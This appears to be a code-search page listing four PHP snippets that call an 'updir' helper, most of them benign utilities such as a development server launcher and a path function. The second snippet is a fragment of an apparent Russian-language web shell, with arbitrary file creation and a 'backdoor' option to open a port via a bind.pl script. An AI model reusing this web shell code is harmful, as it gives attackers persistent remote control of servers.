Ejemplo n.º 1
0
 /**
  * Starts the development web server
  *
  * @param array $options
  * @option $port|p The TCP/IP port the web server will listen on
  * @option $address|a The IP address the web server will listen on
  * @option $log|l The path of a log file where the server's logging output will be saved
  * @option $global|g If specified, the server will serve all sites under the root web directory
  * @option $root|r The root web directory name (not the path). The directory will be searched for starting at the
  *         current directory and going upwards
  */
 function serverStart($options = ['port|p' => 8000, 'address|a' => 'localhost', 'log|l' => '/dev/null', 'global|g' => false, 'root|r' => 'Sites'])
 {
     $pid = $this->getPID();
     if ($pid && isRunning($pid)) {
         $this->io->error("The server is already running");
     }
     $dir = getcwd();
     if ($options['global']) {
         while ($dir) {
             $current = basename($dir);
             if ($current == $options['root']) {
                 break;
             }
             $dir = updir($dir);
         }
         $root = " -t {$dir}";
     } else {
         $root = '';
     }
     $log = $options['log'] == '/dev/null' ? '<comment>disabled</comment>' : "<info>{$options['log']}</info>";
     $where = $options['address'] . ':' . $options['port'];
     $pid = runBackgroundCommand("php -S {$where}{$root} {$this->kernelSettings->routerFile}", $options['log']);
     file_put_contents($this->PID_FILE, $pid);
     $this->io->done(sprintf("The server is now <info>running</info>\n\nListening at: <info>{$where}</info>\nPublishing:   <info>{$dir}</info>\nLog file:     {$log}"));
 }
Ejemplo n.º 2
0
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
<input type=text size=55 name=newfile value="{$d}/newfile.php">
<input type=hidden name=tools>
<input type=submit value="создать">
</form>
</td>
</tr>
</table>
</center>
EOF;
    }
    if (isset($newfile) && $newfile != "") {
        $f = fopen("{$newfile}", "w+");
        fwrite($f, "");
        fclose($f);
        $mydir = updir($newfile);
        echo "<meta http-equiv=Refresh content=\"0; url={$PHP_SELF}?d={$mydir}&show\">";
    }
    if (isset($tools) or isset($tbackdoor)) {
        echo <<<EOF
<center>
<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
<tr height="10">
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
<form  action="{$PHP_SELF}" method="POST">
.: Открыть порт :.
</td>
</tr height="10">
<tr>
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
Имя скрипта: <input type=text size=13 name=bfileneme value="bind.pl"> Порт: <input type=text size=10 name=bport value="65426">
Ejemplo n.º 3
0
 public function __construct()
 {
     $this->scaffoldsPath = updir(__DIR__, 2) . '/scaffolds';
 }
Ejemplo n.º 4
0
Archivo: io.php Proyecto: php-kit/tools
/**
 * Similar to {@see updir}, but it returns an empty string if `$path` is already at the root level.
 *
 * @param string $path   The starting path.
 * @param int    $levels How many times to travel up the directory hierarchy.
 * @return string The resulting path.
 */
function dirnameEx($path, $levels = 1)
{
    $path = updir($path, $levels);
    return $path == DIRECTORY_SEPARATOR ? '' : $path;
}